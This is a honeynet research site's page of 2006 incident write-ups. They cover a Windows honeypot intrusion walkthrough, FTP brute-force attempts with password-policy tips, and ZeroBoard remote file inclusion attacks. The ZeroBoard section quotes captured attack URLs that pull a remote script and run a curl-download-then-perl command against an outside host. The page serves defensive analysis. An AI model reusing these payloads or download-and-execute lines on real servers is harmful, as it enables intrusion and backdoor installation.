Main Menu
Home
About the Project
News
Analysis
Documents
Trainings

 

Hackers in the House Print E-mail
Incident Analysis
Written by Mark Ryan Talabis   
Monday, 24 July 2006

At around 3:57 PM, we noticed some strange activtiy picked up in our honeynet logs. After a bit of investigation, we noted that an attacker was snooping around one of our honeypots.

In this version of our "advisory", I will show you a sample of the activity that we've picked up. Here is a step by step walkthrough of the start of the attack session:

Step 1: Our attacker begins his activities by opening up a command shell.

Step 2: Our attacker next issues the "ipconfig" command, an obvious starting point.

Step 3: Attacker issues a net user command. The net user command creates and/or modifies user accounts on computers. Attacker tries to change the "TsInternetUser" account password. The attacker is successful. He or she now "owns" an account in the honeypot.

Step 4: Attacker issues another net user command, this time to deactivite the "guest" user account.

Step 5: Attacker issues a net localgroup command. The net localgroup command modifies local groups in the computer. In this case, he adds the "TsInternetUser" into the administrator group. The command is successful. The attacker has now escalated his/her priveledges.

Step 6: Attacker uses tftp to download a file called mt.exe from a remote server. Attacker is unsuccessful. Further research indicates "mt.exe" as a backdoor tool. It probably overwrites the original Windows mt.exe backup utility.

Step 7: Attacker tries to issue a command to "mt.exe" with a "-findpass" parameter. I'm not sure what the command does since I could only presume that this is somehow related to system passwords though unlikely since the attacker has administrator access already. It is most likely a command to search and steal stored passwords in files and documents in the system. Obviously, this command is unsuccessful since the "mt.ext" download was unsuccessful.

Step 8: Attacker runs the same command with the "-chkts" parameter followed closely by the "-setupts" parameter. Both commands failed for obvious reasons. I have yet to investigate the said backdoor tool.

Step 9 and Step 10: Attacker this time tries to download and run a file called "s_up_rar.exe". Unfortunately it failed and I wasn't able to obtain a sample of it. A search in google didn't turn up anything too.

Step 11 : It is strange that the attacker issued an "echo off" command followed by yet another attempt to run the "s_up_rar.exe" file that had failed to download. I am beginning to suspect that this may be an automated attempt. The attacker then ran an "echo on" command.

Step 12 and Step 13: The attacker tries to download and run a file called "acsmic.exe". Yet another failed attempt so no samples were caught. A search in google did not turn up anything about the file.

Step 14: The attacker tries to create a file in the honeypot called "s.vsb". The actual code is provided in the packet capture. I have yet to analyze the code or have any plans to but any volunteers would be great.

Step 15 and Step 16 and Step 17: The attacker tries to run the "s.vbs" script through cscript, the Windows scripting host. Step 16 is similar to Step 14 and Step 17 is similar to Step 15. Possibly the attacker might have made a mistake in the first one and is attempting creating and running the file again. Unfortuantely, after this, we lost the attacker either by his own initiative or our own fault.

As you've seen here, this is the typical attacker behavior. It is important to highlight that the first thing attackers usually do is begin with a surface recon of the system, proceed to create or acquire an account, then proceed to raise their priveledge afterwhich they will install a backdoor into the system. Once the backdoor is installed, the attacker leaves with a satisfied thought that he or she has "owned" the computer.

Last Updated ( Friday, 29 August 2008 )
 
FTP Brute-Force Attacks and Password Management Basics Print E-mail
Incident Analysis
Written by Carlo Monteverde and Ariz Jacinto   
Wednesday, 12 July 2006

We have been picking up a lot of brute-force FTP login and authentication attempts against the Administrator account of our honeypots.

The actual packets of one of the said attempts can be viewed here. Note that the passwords used (like "qwerty", "12345", "password", "pass", "newuser", "newpass", "notused", etc.) are the commonly used "temporary" passwords for new accounts. Obviously, attacks like these are aimed at systems with lax password management protocols.

In light of this, here are some tips / guide for administrators:

  • force passwords to expire on a regular basis, be it monthly, quaterly, or on some other schedule - and force users to change their old passwords.
  • users should be forced to use their new password for a period of time before being allowed to change it again.
  • users should not be allowed to re-use an old password and the system should be able to keep or record previously used passwords for a given user.
  • a minimum password length should be enforce and also force the users to contain their selected password with some minimum number of upper-case characters, numbers, and non-alphanumeric characters.
  • passwords should be compared or checked against a "dictionary" of easily guessable passwords or strings that are commonly hit by the standard password "cracking" tools.
  • set a given account to be disabled after a certain number of failed logins except for administrative accounts.
  • user names should also be considered. deny "default" user names either with super (administrator, root, et.al.) or those with restricted privileges (nobody, et.al).
  • FTP server shouldn't verify the existence or non-existence of the user names entered as to hinder this guessing attack
  • check your network for FTP services that you're not aware about, especially those hardware with embedded OS.

This special advisory is just to remind administrators that sometimes, it is the small things that tend to make big holes. In this case, it is always a good idea to implement stricter measures in password usage particularly in setting up temporary passwords for new accounts.

 
ZeroBoard Attacks in the Wild Print E-mail
Data Analysis
Written by Mark Ryan Talabis   
Monday, 12 June 2006

We have been picking up increased ZeroBoard directed attacks in our honeypots. Zeroboard is one of the most popular PHP web boards in Korea.

In the following examples from one of our honeypots, the attack uses an old zeroboard vulnerability that may allow a remote attacker to execute arbritary commands:

/bbs/skin/zero_vote/error.php?dir=http://www.aasmtp.bizland.com/cmd2.gif?&cmd=cd%20/tmp;curl%20-O%20http://aasmtp.bizland.com/w0w;perl%20w0w 

/board/skin/zero_vote/error.php?dir=http://www.aasmtp.bizland.com/cmd2.gif?&cmd=cd%20/tmp;curl%20-O%20http://aasmtp.bizland.com/w0w;perl%20w0w

/zeroboard/bbs/skin/zero_vote/error.php?dir=http://www.aasmtp.bizland.com/cmd2.gif?&cmd=cd%20/tmp;curl%20-O%20http://aasmtp.bizland.com/w0w;perl%20w0w

/zboard/skin/zero_vote/error.php?dir=http://www.aasmtp.bizland.com/cmd2.gif?&cmd=cd%20/tmp;curl%20-O%20http://aasmtp.bizland.com/w0w;perl%20w0w

The issue is due to 'error.php' script not properly sanitizing user input supplied to the 'dir' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script. In the case of the following examples above, a backdoor program called "cmd2.gif" is being used to execute a malicious perl script called "wow". The actual packets can be studied here.

The source site shown in the example has already been suspended though there is always the possiblity of multiple sources for the attack. We could get no info regarding patch availability since the zeroboard website is in Korean.

Last Updated ( Wednesday, 06 January 2010 )
 
<< Start < Prev 1 2 3 4 Next > End >>

Results 1 - 13 of 42